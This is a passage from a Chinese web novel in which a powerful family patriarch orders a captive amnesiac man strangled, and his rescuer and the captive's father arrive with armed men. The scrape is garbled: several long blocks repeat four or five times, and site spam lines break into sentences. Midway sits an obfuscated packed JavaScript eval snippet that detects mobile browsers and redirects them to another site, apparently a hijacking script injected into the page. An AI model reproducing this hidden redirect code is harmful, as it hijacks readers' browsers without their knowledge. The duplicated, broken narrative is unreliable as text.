要是他知道了保证一点情面都不留的弄死他。 “失忆了?”陆鹤嵩重复了一遍陆沉奕的话声音听不出情绪。 “是资料显示是几个月前的事。他现在的心智和行为……似乎不太稳定像个大孩子。阿洲把他保护得很紧几乎从不让他单独接触外人。” 陆沉奕快速补充道目光也审视着傅聿琛冷静分析“但也正因如此他可能更依赖阿洲把听到的事情当作重要信息急于告诉他。不确定他失忆前是什么性格但现在看来他本身不具备什么威胁关键是……他听到了多少又理解了多少。” 陆鹤嵩没有立刻接话。 他朝前走了几步皮鞋踩在水泥地上发出清晰的回响在空旷的仓库里显得格外沉重。 他走近傅聿琛居高临下地打量着他。 傅聿琛被他靠近的气势吓得拼命往后缩喉咙里发出更加急促和可怜的“呜呜”声被绑在身后的手徒劳地挣动着铁椅再次发出刺耳的摩擦声。 眼泪大颗大颗地滚落他甚至不敢直视陆鹤嵩的眼睛只是恐惧地垂下眼帘长长的睫毛抖得厉害。 这个反应完全是一个吓坏了的孩子。 陆鹤嵩的眉头几不可察地蹙了一下。 他伸出手不是触碰傅聿琛而是猛地撕开了他嘴上的胶带。 “嘶啦”一声傅聿琛痛得身体一颤发出一声短促的抽气随即大口大口地喘息起来新鲜的空气涌入肺部 “你……你们是谁?为什么抓我?”傅聿琛的声音带着哭腔破碎而颤抖他努力想让自己听起来凶一点或者问得清楚一点但脱口而出的只有最本能的恐惧和疑问。 “阿洲呢?我要找阿洲!有坏人……医院有坏人要害阿洲和宝宝!你们放了我我要去告诉阿洲!” 他语无伦次逻辑混乱反复念叨着陆京洲和“坏人”眼 你的朋友正在书荒,快去帮帮他吧 神仓皇地在陆鹤嵩和陆沉奕脸上游移。 试图找到一丝熟悉或友善的痕迹,却只看到一片深沉的冷漠和审视。 陆鹤嵩与陆沉奕交换了一个眼神。 傅聿琛的这番话,印证了他们的猜测。 他确实在医院听到了某些对话,并且将这些信息与自己最信任的“阿洲和刚出生的“宝宝的安危直接挂钩。 但他对信息的理解显然是碎片化、甚至可能是扭曲的,他口中的“坏人 陆鹤嵩的脚步,在距离傅聿琛几步远的地方,猛地顿住了。 手电筒的光束因他动作的停滞而晃动。 恰好完整地照亮了那张被泪水浸湿,因恐惧而惨白、却依然清晰无比的脸。 时间仿佛在那一瞬间被拉长、凝固。 陆鹤嵩的瞳孔骤然收缩,呼吸有一刹那的停滞。 那张脸……除去此刻的惊惶无助,那眉眼的轮廓,鼻梁的弧度,被胶带封住的唇线……竟与记忆深处某个年轻时的陆京洲,诡异地重叠在了一起! 不,不只是陆京洲。 在那相似之中,还糅杂了另一份刻骨铭心、他以为早已被岁月掩埋或刻意遗忘的……熟悉感。 尤其是那双眼睛,此刻蓄满了泪水,晶莹剔透,惶然无措地望过来时,那种神态。 那种脆弱又倔强的眼神……像一道撕裂时空的闪电,猝不及防地劈开了陆鹤嵩记忆的闸门! 他仿佛一下子透过眼前这个被捆绑的青年,看到了另外一个女人! 那个多年前,也曾用类似的眼神望着他的女人。 一个几乎要被他从人生中彻底抹去的影子。 那个眼神里有依赖,有祈求,最后只剩下冰冷和绝望…… 一种莫名的心慌,毫无预兆地攥紧了陆鹤嵩的心脏。 那感觉来得迅猛而尖锐,混杂着惊讶和不敢置信,以及一丝连他自己都不愿承认的源自过往的隐秘刺痛和……恐惧。。 他怎么会和京洲……不,是和“她……长得这样像? 电光石火间,无数念头和猜测在陆鹤嵩脑中疯狂冲撞。 他脸上的严肃和威严出现了裂痕,取而代之的是一种极其复杂的、近乎失神的表情,目光死死钉在傅聿琛脸上,像是要将他看穿,又像是透过他在确认什么可怕的真相。 “父亲?陆沉奕敏锐地察觉到了陆鹤嵩的异常。 他顺着父亲的目光看向傅聿琛,眉头微不可察地 听说看这本书的人都是很幸运的,分享后你的运气会更棒 皱了一下。 他也看到了那份与堂弟陆京洲的相似,但这并不足以解释父亲此刻的失态。 父亲眼中闪过的,绝不仅仅是惊讶。 陆沉奕的心沉了沉。 计划出现了意料之外的变数。 这个傅聿琛,似乎不仅仅是一个可以用来牵制、打击陆京洲的“工具或“弱点那么简单。 傅聿琛被陆鹤嵩那仿佛见了鬼一般的眼神吓得更厉害了。 他扭动身体,发出更大声的、绝望的呜咽,眼泪流得更凶,胶带边缘湿漉漉一片。 这哭声和挣扎,仿佛惊醒了陷入混乱回忆的陆鹤嵩。 他猛地回过神,眼神瞬间变得异常冰冷,甚至带上了一丝狠厉。 刚才那一瞬间的心慌和刺痛,迅速被一种更为强烈的、想要抹除隐患的决绝所取代。 不管这孩子是谁,不管他和京洲、和过去那个女人有什么关系……他都不能活! 这个秘密,这个可能引发无穷后患的“相似,必须被彻底掐灭! 绝不能让他出现在京洲面前,更不能让任何人,尤其是京洲,察觉到任何端倪! 陆鹤嵩倏地转过头,不再看傅聿琛那张让他心神剧震的脸。 他的声音压得极低,却 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这场景像一把烧红的铁钳,再次烫 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 了陆鹤嵩的神经一下。 他猛地侧过头,下颌线绷得死紧,目光避开那让他心神不宁的脸,却无法隔绝那绝望的挣扎声。 一种极其罕见的烦躁和几乎是生理性的不适攥住了他。 就在那湿布即将捂住傅聿琛口鼻,绳索即将套上脖颈的前一刹那。 陆鹤嵩的视线,终究还是无法彻底从那张脸上移开。 寒意,比之前更甚,瞬间冻结了陆鹤嵩眼中所有短暂出现的动摇和复杂。 那不是心软,而是更深沉的厌恶与……后怕。 他竟然因为一瞬间的恍惚,差点动摇了杀心。 简直是荒谬! 不管这个傅聿琛是谁,不管他失忆前是什么身份,只要他这张脸存在,就有可能成为引爆陆京洲那个疯子的**。 陆京洲的“疯”,是玉石俱焚的疯狂。他一旦察觉到任何关于过去的蛛丝马迹,后果绝对比仅仅听到医院里那些针对他和孩子的阴谋要严重千百倍。 而陆沉奕……他精心培养、寄予厚望的儿子,如今的位置、前途,乃至整个陆家未来的掌控权,都建立在过去那些被精心掩盖的“事实”之上。 这个男人,这个活着的、会呼吸的“证据”,就像一颗随时可能**的**。 宁可错杀一千,也绝不能放过一个! 尤其是……一个早在二十多年前就该彻底消失的“错误”! 陆鹤嵩的眼神彻底沉了下去,里面最后一丝属于“人”的温度也消失殆尽,只剩下铁石般的冷酷和决断。 他重新转过头,看向陆沉奕,声音比刚才更加冰冷、平稳,却带着一种不容置疑的、令人骨髓发寒的力量: “动手。” 这一次,没有停顿,没有犹豫,甚至没有再看傅聿琛一眼。 第242章 沉奕以最快的速度弄死他 他的目光越过傅聿琛颤抖的身躯,投向仓库深处无边的黑暗。 就好像那里才是他应该关注的世界。 而眼前这个即将消逝的生命,不过是一粒最不起眼的尘埃。 陆沉奕微微颔首,对父亲不容更改的命令心领神会。 他脸上没有任何多余的表情,只是朝绑匪做了一个干脆利落的手势。 湿布猛地捂住了傅聿琛的口鼻,刺鼻的气味瞬间充斥他的肺腑。 绳索也同时勒紧,冰冷地嵌入皮肤,扼断他最后一丝空气和求救的可能。 “呜——!!!” 一声极其短促、被布料闷住的、充满极致痛苦与不甘的闷响过后,剧烈的挣扎开始了。 铁椅疯狂地撞击地面,发出沉闷而混乱的巨响,如同垂死野兽最后的嘶吼。 傅聿琛的眼睛死死瞪着,透过泪水和恐惧的迷雾,死死望向陆鹤嵩冷漠的侧脸。 像是要将这张脸,这个决定他生死的人,烙印进灵魂最深处。 他的眼神里有绝望,有不解,有怨恨,最后慢慢涣散…… 陆鹤嵩背对着这残忍的一幕,身形挺拔,纹丝不动。 皮鞋尖轻轻点着地面,发出规律而轻微的声响,仿佛在计算着时间,又像是在掩盖身后那逐渐微弱下去的挣扎声。 仓库里的空气仿佛凝固了,只有那令人牙酸的摩擦声和逐渐消失的呜咽在回荡。 仓库深处的黑暗像是蛰伏的巨兽,吞噬着最后一丝微弱的光线。 陆鹤嵩的目光沉在那片浓稠的黑里。 耳后传来的铁椅撞击声和布料摩擦声,在他听来不过是无关紧要的杂音。 他指尖无意识地摩挲着西装袖口的纽扣,那是多年来养成的习惯,只有在彻底掌控局面时才会出现。 “父亲,预计三分钟内清理完毕。”陆沉奕的声音冷静得没有一丝波澜。 他正低头检查手机里的定位轨迹,确保没有任**号泄露。 两名绑匪的动作愈发狠厉,湿布死死按压着傅聿琛的口鼻。 绳索在他脖颈间勒出一道深紫色的痕迹。 原本挣扎的四肢渐渐疲软,只有胸腔还在微弱地起伏,如同风中残烛,马上就要熄灭。 就在这时,仓库大门突然传来“哐当”一声巨响! 那是金属被暴力撞开的声音,伴随着轮胎摩擦地面的尖锐嘶鸣。 两道刺眼的光束瞬间刺破仓库的黑暗,直直射向中央的空地。 陆鹤嵩的身体猛地 一僵,皮鞋尖停止了敲击,后背的肌肉瞬间绷紧,这个时间点,怎么会有人来? “陆鹤嵩!**的给我出来!我的人你也敢动。” 一声暴怒到极致的嘶吼穿透空气,带着毁天灭地的戾气,让整个仓库都仿佛在震颤。 他连一句父亲都不肯叫了。 陆京洲的身影裹挟着狂风冲了进来,他双目赤红,眼底布满血丝,黑色西服上沾着尘土和草屑,显然是一路狂飙赶来。 他的目光如同鹰隼,瞬间锁定了被按在铁椅上的傅聿琛,以及他身旁那两个行凶的绑匪。 “傅聿琛,你没事儿吧!” 陆京洲疯了一般扑过去,速度快得只剩下残影。 他腰间的**已经出鞘,寒光一闪,便朝着其中一名绑匪的手腕划去。 那绑匪没想到来人如此迅猛,慌忙松手躲避,却还是被划开一道深可见骨的伤口,鲜血瞬间喷涌而出。 “拦住他!”陆沉奕低喝一声,早已埋伏在仓库两侧的四名黑衣保镖立刻冲了上来,形成一道人墙,挡住了陆京洲的去路。 这些保镖都是经过特殊训练的死士,出手狠辣,招招致命,拳脚带着风声朝着陆京洲的要害攻去。 陆京洲眼神一凛,丝毫不见惧色,**在他手中舞成一道密不透风的光幕,格挡开袭来的攻击。 “滚开!”他怒吼着,一脚踹飞身前的保镖,硬生生杀出一条血路,目光死死黏在傅聿琛身上。 此时的傅聿琛意识已经模糊,刺鼻的化学气味让他头晕目眩,脖颈间的绳索几乎要扼断他的呼吸。 但听到那声熟悉的“傅聿琛”,他涣散的瞳孔猛地收缩了一下,艰难地转动眼球,朝着声音的方向望去。 他看到陆京洲正被一群人**,黑色的身影在混乱中起伏,身上已经添了几道伤口,鲜血染红了黑色西服的布料。 “阿洲……”傅聿琛用尽最后一丝力气,发出微弱的呢喃,眼泪混合着绝望滚落,“我的外卖破了……” 他想挣扎,想冲过去,可身体却像灌了铅一样沉重,只能眼睁睁看着陆京洲为了救他而浴血奋战。 陆京洲很快就解决了身边的两名保镖,距离傅聿琛越来越近。 他看到傅聿琛苍白的脸,看到他脖颈间的勒痕,心脏像是被一只无形的手狠狠攥住,疼得他几乎窒息。 “傅聿琛,你再坚持一下,我马上救你!”陆京洲嘶吼着,加快了脚步,**再次划破一名保镖的手臂。 陆鹤嵩眼中闪过一丝狠厉, 他没想到傅家会来得这么快,打乱了他的计划。 但事已至此,他绝不能让傅聿琛活着离开这里。 他朝陆沉奕使了个眼色,低声道,“动手,别留活口。” 陆沉奕会意,悄悄从腰间摸出一把消音**,瞄准了正在浴血奋战的陆京洲。 他知道,陆京洲是陆鹤嵩最大的阻碍,只要除掉他,陆家的大权就彻底掌握在他们父子手中。 枪口的准星稳稳锁定陆京洲的后心,陆沉奕的手指缓缓扣动**。 “阿洲你……小心!” 就在这千钧一发之际,原本已经奄奄一息的傅聿琛突然爆发出一股惊人的力量。 他猛地扭动身体,挣脱了绑匪的束缚,那两名绑匪因为注意力被吸引。 手上的力道松懈了几分,竟被他硬生生挣开了。 傅聿琛踉跄着扑了出去,用自己的后背挡在了陆京洲身后。 “噗——” 消音**的**穿透了傅聿琛的肩膀,带出一蓬刺眼的鲜血。 巨大的冲击力让他身体一震,往前踉跄了几步。 陆京洲瞳孔骤缩,心脏骤停,猛地转过身,抱住摇摇欲坠的傅聿琛,“傅聿琛!” 傅聿琛的脸色瞬间变得惨白如纸,肩膀上的伤口鲜血直流,染红了陆京洲的手臂。 他看着陆京洲惊慌失措的脸,虚弱地笑了笑,声音细若蚊蚋,“阿洲……我没事……不疼……” 可话音未落,他的身体便不受控制地向后倒去。 身后不远处就是仓库的铁门,冰冷坚硬的金属表面,此刻成了催命的利器。 “砰!” 一声沉闷的巨响,傅聿琛的后脑勺狠狠撞在了铁门上。 鲜血瞬间从他的额角涌出,顺着脸颊滑落,染红了他的衣领。 他的眼睛猛地睁大,随即迅速涣散,身体软软地倒在陆京洲怀里,彻底失去了意识。 “傅聿琛!阿琛!”陆京洲抱着傅聿琛冰冷的身体,疯狂地呼喊着他的名字,声音嘶哑得不成样子。 他颤抖着伸出手,去探傅聿琛的鼻息,感受到那微弱得几乎察觉不到的气息。 他的心才稍微安定了一丝,可随即又被更深的恐惧淹没。 额角的鲜血还在不断涌出,顺着傅聿琛的脸颊滴落在地上,形成一滩刺目的血渍 陆京洲脱下自己的黑色西服,死死按住傅聿琛的伤口,试图止住流血,可鲜血还是从指缝间不断渗出。 “医生!快叫医生!”陆京洲朝 着门口嘶吼,声音里充满了绝望和无助。 陆京洲撕心裂肺的吼声还在仓库里回荡,带着濒临崩溃的绝望。 他紧紧抱着傅聿琛,用自己的身体挡在他与陆鹤嵩父子之间,赤红的双眼死死瞪着他们。 像是一头被逼入绝境、即将与敌同归于尽的孤狼,“我杀了你们!” 陆沉奕握着枪,枪口微微偏移,对准了陆京洲的后脑。 陆京洲此刻心神大乱,正是绝佳的机会。 他手指收紧,眼神冰冷,杀意凝聚。 陆鹤嵩却抬手,不动声色地制止了他。 不是心软,而是另一阵更急促,更嘈杂的引擎轰鸣和刹车声由远及近,如同密集的鼓点,敲碎了仓库外短暂的寂静。 这一次,来者更多,声势更浩大,甚至隐隐传来装备碰撞和无线电通话的短促声响。 陆沉奕脸色微变,看向父亲。 陆鹤嵩的眉头紧紧锁起,眼底的阴鸷几乎要化为实质。 听这动静,来的恐怕不是普通保镖。 就在他心思电转之际—— “砰!!!” 仓库那扇本就摇摇欲坠的铁门,连同旁边的墙壁,被一股更猛烈的力量从外面撞开! 不是撞破,而是某种特种破拆工具的精准爆破! 尘土飞扬,碎砖四溅,刺目的探照灯光束如同白昼般瞬间照亮了仓库内每一寸角落。 将陆鹤嵩、陆沉奕以及他们手下的所有人,都暴露在强光之下。 为首的是一个五十岁上下、气质沉稳如山的男人。 他穿着剪裁合体的深灰色大衣,眉宇间多了久居上位的威严和经年累月沉淀下的冷峻。 他的视线随即转向陆鹤嵩,冰冷得几乎能冻结空气——是傅家的人。 “陆鹤嵩,”傅承安的声音不高,却带着千钧之力,每一个字都像冰珠砸在地上,“你好大的胆子。” 陆鹤嵩心头一沉,面上却强自镇定,甚至挤出一丝惯有的、带着长辈威严的假笑,“傅先生?这是什么阵仗?我们陆家处理一点家务事,怎么惊动了您的大驾?” “家务事?”傅承安向前迈了一步,他身后的武装人员也随之逼近一步,压迫感十足。“**、伤害、意图**我傅承安的儿子,这叫家务事?” “儿子?”陆鹤嵩脸上的假笑僵住了,心脏像是被重锤狠狠砸了一下。 尽管早有猜测,但亲耳从傅承安口中听到证实,冲击力依然巨大。 傅聿琛……竟然是傅家唯一的孩子,傅氏的总裁?! 陆沉奕也倒吸一口凉气,握枪的手几不可察地抖了一下。 他们惹上的,竟然是傅家这个庞然大物,而且是动了傅承安的逆鳞! 陆京洲猛地抬头看向傅承安,又低头看向怀里的傅聿琛,眼中满是震惊和复杂,但更多的是一种绝境逢生的急切。 他嘶声道,“傅叔叔!快救他!他伤得很重!” 着门口嘶吼,声音里充满了绝望和无助。 陆京洲撕心裂肺的吼声还在仓库里回荡,带着濒临崩溃的绝望。 他紧紧抱着傅聿琛,用自己的身体挡在他与陆鹤嵩父子之间,赤红的双眼死死瞪着他们。 像是一头被逼入绝境、即将与敌同归于尽的孤狼,“我杀了你们!” 陆沉奕握着枪,枪口微微偏移,对准了陆京洲的后脑。 陆京洲此刻心神大乱,正是绝佳的机会。 他手指收紧,眼神冰冷,杀意凝聚。 陆鹤嵩却抬手,不动声色地制止了他。 不是心软,而是另一阵更急促,更嘈杂的引擎轰鸣和刹车声由远及近,如同密集的鼓点,敲碎了仓库外短暂的寂静。 这一次,来者更多,声势更浩大,甚至隐隐传来装备碰撞和无线电通话的短促声响。 陆沉奕脸色微变,看向父亲。 陆鹤嵩的眉头紧紧锁起,眼底的阴鸷几乎要化为实质。 听这动静,来的恐怕不是普通保镖。 就在他心思电转之际—— “砰!!!” 仓库那扇本就摇摇欲坠的铁门,连同旁边的墙壁,被一股更猛烈的力量从外面撞开! 不是撞破,而是某种特种破拆工具的精准爆破! 尘土飞扬,碎砖四溅,刺目的探照灯光束如同白昼般瞬间照亮了仓库内每一寸角落。 将陆鹤嵩、陆沉奕以及他们手下的所有人,都暴露在强光之下。 为首的是一个五十岁上下、气质沉稳如山的男人。 他穿着剪裁合体的深灰色大衣,眉宇间多了久居上位的威严和经年累月沉淀下的冷峻。 他的视线随即转向陆鹤嵩,冰冷得几乎能冻结空气——是傅家的人。 “陆鹤嵩,”傅承安的声音不高,却带着千钧之力,每一个字都像冰珠砸在地上,“你好大的胆子。” 陆鹤嵩心头一沉,面上却强自镇定,甚至挤出一丝惯有的、带着长辈威严的假笑,“傅先生?这是什么阵仗?我们陆家处理一点家务事,怎么惊动了您的大驾?” “家务事?”傅承安向前迈了一步,他身后的武装人员也随之逼近一步,压迫感十足。“**、伤害、意图**我傅承安的儿子,这叫家务事?” “儿子?”陆鹤嵩脸上的假笑僵住了,心脏像是被重锤狠狠砸了一下。 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尽管早有猜测,但亲耳从傅承安口中听到证实,冲击力依然巨大。 傅聿琛……竟然是傅家唯一的孩子,傅氏的总裁?! 陆沉奕也倒吸一口凉气,握枪的手几不可察地抖了一下。 他们惹上的,竟然是傅家这个庞然大物,而且是动了傅承安的逆鳞! 陆京洲猛地抬头看向傅承安,又低头看向怀里的傅聿琛,眼中满是震惊和复杂,但更多的是一种绝境逢生的急切。 他嘶声道,“傅叔叔!快救他!他伤得很重!” 着门口嘶吼,声音里充满了绝望和无助。 陆京洲撕心裂肺的吼声还在仓库里回荡,带着濒临崩溃的绝望。 他紧紧抱着傅聿琛,用自己的身体挡在他与陆鹤嵩父子之间,赤红的双眼死死瞪着他们。 像是一头被逼入绝境、即将与敌同归于尽的孤狼,“我杀了你们!” 陆沉奕握着枪,枪口微微偏移, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087183|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对准了陆京洲的后脑。 陆京洲此刻心神大乱,正是绝佳的机会。 他手指收紧,眼神冰冷,杀意凝聚。 陆鹤嵩却抬手,不动声色地制止了他。 不是心软,而是另一阵更急促,更嘈杂的引擎轰鸣和刹车声由远及近,如同密集的鼓点,敲碎了仓库外短暂的寂静。 这一次,来者更多,声势更浩大,甚至隐隐传来装备碰撞和无线电通话的短促声响。 陆沉奕脸色微变,看向父亲。 陆鹤嵩的眉头紧紧锁起,眼底的阴鸷几乎要化为实质。 听这动静,来的恐怕不是普通保镖。 就在他心思电转之际—— “砰!!!” 仓库那扇本就摇摇欲坠的铁门,连同旁边的墙壁,被一股更猛烈的力量从外面撞开! 不是撞破,而是某种特种破拆工具的精准爆破! 尘土飞扬,碎砖四溅,刺目的探照灯光束如同白昼般瞬间照亮了仓库内每一寸角落。 将陆鹤嵩、陆沉奕以及他们手下的所有人,都暴露在强光之下。 为首的是一个五十岁上下、气质沉稳如山的男人。 他穿着剪裁合体的深灰色大衣,眉宇间多了久居上位的威严和经年累月沉淀下的冷峻。 他的视线随即转向陆鹤嵩,冰冷得几乎能冻结空气——是傅家的人。 “陆鹤嵩,”傅承安的声音不高,却带着千钧之力,每一个字都像冰珠砸在地上,“你好大的胆子。” 陆鹤嵩心头一沉,面上却强自镇定,甚至挤出一丝惯有的、带着长辈威严的假笑,“傅先生?这是什么阵仗?我们陆家处理一点家务事,怎么惊动了您的大驾?” “家务事?”傅承安向前迈了一步,他身后的武装人员也随之逼近一步,压迫感十足。“**、伤害、意图**我傅承安的儿子,这叫家务事?” “儿子?”陆鹤嵩脸上的假笑僵住了,心脏像是被重锤狠狠砸了一下。 尽管早有猜测,但亲耳从傅承安口中听到证实,冲击力依然巨大。 傅聿琛……竟然是傅家唯一的孩子,傅氏的总裁?! 陆沉奕也倒吸一口凉气,握枪的手几不可察地抖了一下。 他们惹上的,竟然是傅家这个庞然大物,而且是动了傅承安的逆鳞! 陆京洲猛地抬头看向傅承安,又低头看向怀里的傅聿琛,眼中满是震惊和复杂,但更多的是一种绝境逢生的急切。 他嘶声道,“傅叔叔!快救他!他伤得很重!” 着门口嘶吼,声音里充满了绝望和无助。 陆京洲撕心裂肺的吼声还在仓库里回荡,带着濒临崩溃的绝望。 他紧紧抱着傅聿琛,用自己的身体挡在他与陆鹤嵩父子之间,赤红的双眼死死瞪着他们。 像是一头被逼入绝境、即将与敌同归于尽的孤狼,“我杀了你们!” 陆沉奕握着枪,枪口微微偏移,对准了陆京洲的后脑。 陆京洲此刻心神大乱,正是绝佳的机会。 他手指收紧,眼神冰冷,杀意凝聚。 陆鹤嵩却抬手,不动声色地制止了他。 不是心软,而是另一阵更急促,更嘈杂的引擎轰鸣和刹车声由远及近,如同密集的鼓点,敲碎了仓库外短暂的寂静。 这一次,来者更多,声势更浩大,甚至隐隐传来装备碰撞和无线电通话的短促声响。 陆沉奕脸色微变,看向父亲。 陆鹤嵩的眉头紧紧锁起,眼底的阴鸷几乎要化为实质。 听这动静,来的恐怕不是普通保镖。 就在他心思电转之际—— “砰!!!” 仓库那扇本就摇摇欲坠的铁门,连同旁边的墙壁,被一股更猛烈的力量从外面撞开! 不是撞破,而是某种特种破拆工具的精准爆破! 尘土飞扬,碎砖四溅,刺目的探照灯光束如同白昼般瞬间照亮了仓库内每一寸角落。 将陆鹤嵩、陆沉奕以及他们手下的所有人,都暴露在强光之下。 为首的是一个五十岁上下、气质沉稳如山的男人。 他穿着剪裁合体的深灰色大衣,眉宇间多了久居上位的威严和经年累月沉淀下的冷峻。 他的视线随即转向陆鹤嵩,冰冷得几乎能冻结空气——是傅家的人。 “陆鹤嵩,”傅承安的声音不高,却带着千钧之力,每一个字都像冰珠砸在地上,“你好大的胆子。” 陆鹤嵩心头一沉,面上却强自镇定,甚至挤出一丝惯有的、带着长辈威严的假笑,“傅先生?这是什么阵仗?我们陆家处理一点家务事,怎么惊动了您的大驾?” “家务事?”傅承安向前迈了一步,他身后的武装人员也随之逼近一步,压迫感十足。“**、伤害、意图**我傅承安的儿子,这叫家务事?” “儿子?”陆鹤嵩脸上的假笑僵住了,心脏像是被重锤狠狠砸了一下。 尽管早有猜测,但亲耳从傅承安口中听到证实,冲击力依然巨大。 傅聿琛……竟然是傅家唯一的孩子,傅氏的总裁?! 陆沉奕也倒吸一口凉气,握枪的手几不可察地抖了一下。 他们惹上的,竟然是傅家这个庞然大物,而且是动了傅承安的逆鳞! 陆京洲猛地抬头看向傅承安,又低头看向怀里的傅聿琛,眼中满是震惊和复杂,但更多的是一种绝境逢生的急切。 他嘶声道,“傅叔叔!快救他!他伤得很重!” 着门口嘶吼,声音里充满了绝望和无助。 陆京洲撕心裂肺的吼声还在仓库里回荡,带着濒临崩溃的绝望。 他紧紧抱着傅聿琛,用自己的身体挡在他与陆鹤嵩父子之间,赤红的双眼死死瞪着他们。 像是一头被逼入绝境、即将与敌同归于尽的孤狼,“我杀了你们!” 陆沉奕握着枪,枪口微微偏移,对准了陆京洲的后脑。 陆京洲此刻心神大乱,正是绝佳的机会。 他手指收紧,眼神冰冷,杀意凝聚。 陆鹤嵩却抬手,不动声色地制止了他。 不是心软,而是另一阵更急促,更嘈杂的引擎轰鸣和刹车声由远及近,如同密集的鼓点,敲碎了仓库外短暂的寂静。 这一次,来者更多,声势更浩大,甚至隐隐传来装备碰撞和无线电通话的短促声响。 陆沉奕脸色微变,看向父亲。 陆鹤嵩的眉头紧紧锁起,眼底的阴鸷几乎要化为实质。 听这动静,来的恐怕不是普通保镖。 就在他心思电转之际—— “砰!!!” 仓库那扇本就摇摇欲坠的铁门,连同旁边的墙壁,被一股更猛烈的力量从外面撞开! 不是撞破,而是某种特种破拆工具的精准爆破! 尘土飞扬,碎砖四溅,刺目的探照灯光束如同白昼般瞬间照亮了仓库内每一寸角落。 将陆鹤嵩、陆沉奕以及他们手下的所有人,都暴露在强光之下。 为首的是一个五十岁上下、气质沉稳如山的男人。 他穿着剪裁合体的深灰色大衣,眉宇间多了久居上位的威严和经年累月沉淀下的冷峻。 他的视线随即转向陆鹤嵩,冰冷得几乎能冻结空气——是傅家的人。 “陆鹤嵩,”傅承安的声音不高,却带着千钧之力,每一个字都像冰珠砸在地上,“你好大的胆子。” 陆鹤嵩心头一沉,面上却强自镇定,甚至挤出一丝惯有的、带着长辈威严的假笑,“傅先生?这是什么阵仗?我们陆家处理一点家务事,怎么惊动了您的大驾?” “家务事?”傅承安向前迈了一步,他身后的武装人员也随之逼近一步,压迫感十足。“**、伤害、意图**我傅承安的儿子,这叫家务事?” “儿子?”陆鹤嵩脸上的假笑僵住了,心脏像是被重锤狠狠砸了一下。 尽管早有猜测,但亲耳从傅承安口中听到证实,冲击力依然巨大。 傅聿琛……竟然是傅家唯一的孩子,傅氏的总裁?! 陆沉奕也倒吸一口凉气,握枪的手几不可察地抖了一下。 他们惹上的,竟然是傅家这个庞然大物,而且是动了傅承安的逆鳞! 陆京洲猛地抬头看向傅承安,又低头看向怀里的傅聿琛,眼中满是震惊和复杂,但更多的是一种绝境逢生的急切。 他嘶声道,“傅叔叔!快救他!他伤得很重!” 第243章 亲自清理门户 陆鹤嵩脸上的僵滞不过一瞬,很快便被一抹倨傲的冷笑取代。 他缓缓转过身,掸了掸西装上并不存在的灰尘。 目光扫过傅承安身后荷枪实弹的武装人员,眼底没有半分惧意。 “傅先生这话,未免太抬举自己了。”他声音不疾不徐,带着京城顶级世家掌权者刻在骨子里的傲慢。 “傅家在M国翻云覆雨,那是你们的本事。可这里是京城,是陆家的地盘。强龙压不过地头蛇的道理,傅先生闯荡半生,不会不懂吧?” 傅承安的脸色瞬间沉了下来,周身的气压低得吓人。 他身后的武装人员齐齐上前一步,金属装备碰撞的脆响在寂静的仓库里格外刺耳,黑洞洞的枪口已经隐隐对准了陆鹤嵩父子。 “陆鹤嵩,”傅承安的声音冷得像淬了冰,“我傅家的人,轮不到你陆家来动。今日你伤我儿一根头发,我傅承安敢让你陆家在京城连根拔起。” “拔起?”陆鹤嵩像是听到了什么天大的笑话,仰头大笑起来,笑声里满是讥讽。 “傅先生怕是忘了,陆家在京城立足百年,盘根错节,岂是你一个远在海外的外乡人能撼动的?你以为带这些人来,就能吓到我?” 他说着,抬手指了指仓库外,语气愈发嚣张,“外面的警察,有一半是看着陆家的面子才迟迟不动手。你真要撕破脸,大不了鱼死网破。到时候,傅家损失的是一个智商还没5岁的蠢人,我陆家不过是伤筋动骨。这笔账,谁亏谁赚,傅先生该算得清。” 智商还没5岁的蠢人几个字像针一样扎进陆京洲的耳朵里,他抱着傅聿琛的手臂猛地收紧,指节因为用力而泛白。 怀里的人气息微弱,额角的鲜血还在不断渗出,染红了他的衣襟,那温热的触感烫得他心脏阵阵抽痛。 傅承安的眼神骤然变得凌厉,正要开口,却被一道嘶哑的吼声打断。 “够了!” 陆京洲的声音像是从喉咙里挤出来的,带着极致的隐忍和滔天的怒意。 他小心翼翼地将傅聿琛交给身旁的傅家保镖,眼神死死盯着陆鹤嵩,那目光里的恨意几乎要将人焚烧殆尽。 他一步步朝着陆鹤嵩走去,每一步都像是踩在刀尖上,脚下的血渍被碾开,留下一串触目惊心的脚印。 仓库里的空气仿佛凝固了,所有人的目光都落在他身上,连傅承安都微微蹙起了眉,没有出声阻拦。 陆京洲走到陆鹤嵩面前,停下脚步。 他比陆鹤嵩高出半个头,居高临下 地看着这个生他养他,却一次次将他推入深渊的男人。 “陆鹤嵩!”他一字一顿地叫着他的名字,声音里没有半分温度,“你是不是忘了,我也是陆家的人。” 陆鹤嵩眯起眼睛,脸上的冷笑淡了几分,取而代之的是一丝阴鸷,“怎么?有什么问题?你想替这个外人出头,跟你老子作对?” “外人?”陆京洲像是听到了什么笑话,突然低笑出声,笑声里却满是悲凉。 “他是我放在心里尊重的人,是值得我尊敬的人,也是我拼了命也要护着的人。而你……” 他的目光猛地变得凶狠,“你不过是一个为了权力,连亲生儿子都能算计的畜生!” “放肆!”陆鹤嵩勃然大怒,扬手就要朝陆京洲脸上扇去。 可他的手还没落下,就被陆京洲一把攥住手腕。 陆京洲的力气大得惊人,骨骼摩擦的咯吱声清晰可闻,疼得陆鹤嵩额头瞬间冒出冷汗。 “你敢打我?”陆鹤嵩又惊又怒,瞪着陆京洲的眼睛里布满血丝。 “我为什么不敢?”陆京洲的眼神猩红,像是一头被激怒的猛兽。 他猛地抬手,一把掐住陆鹤嵩的衣领,将他狠狠抵在身后的墙壁上。 冰冷的墙壁硌得陆鹤嵩生疼,他挣扎着想要挣脱,却发现陆京洲的力气大得可怕,像一道铁箍,死死地将他禁锢住。 “陆京洲!你反了天了!快放开我!”陆鹤嵩又惊又怒,声音都有些发颤。 陆沉奕见状,立刻就要上前,却被傅承安的人拦住。 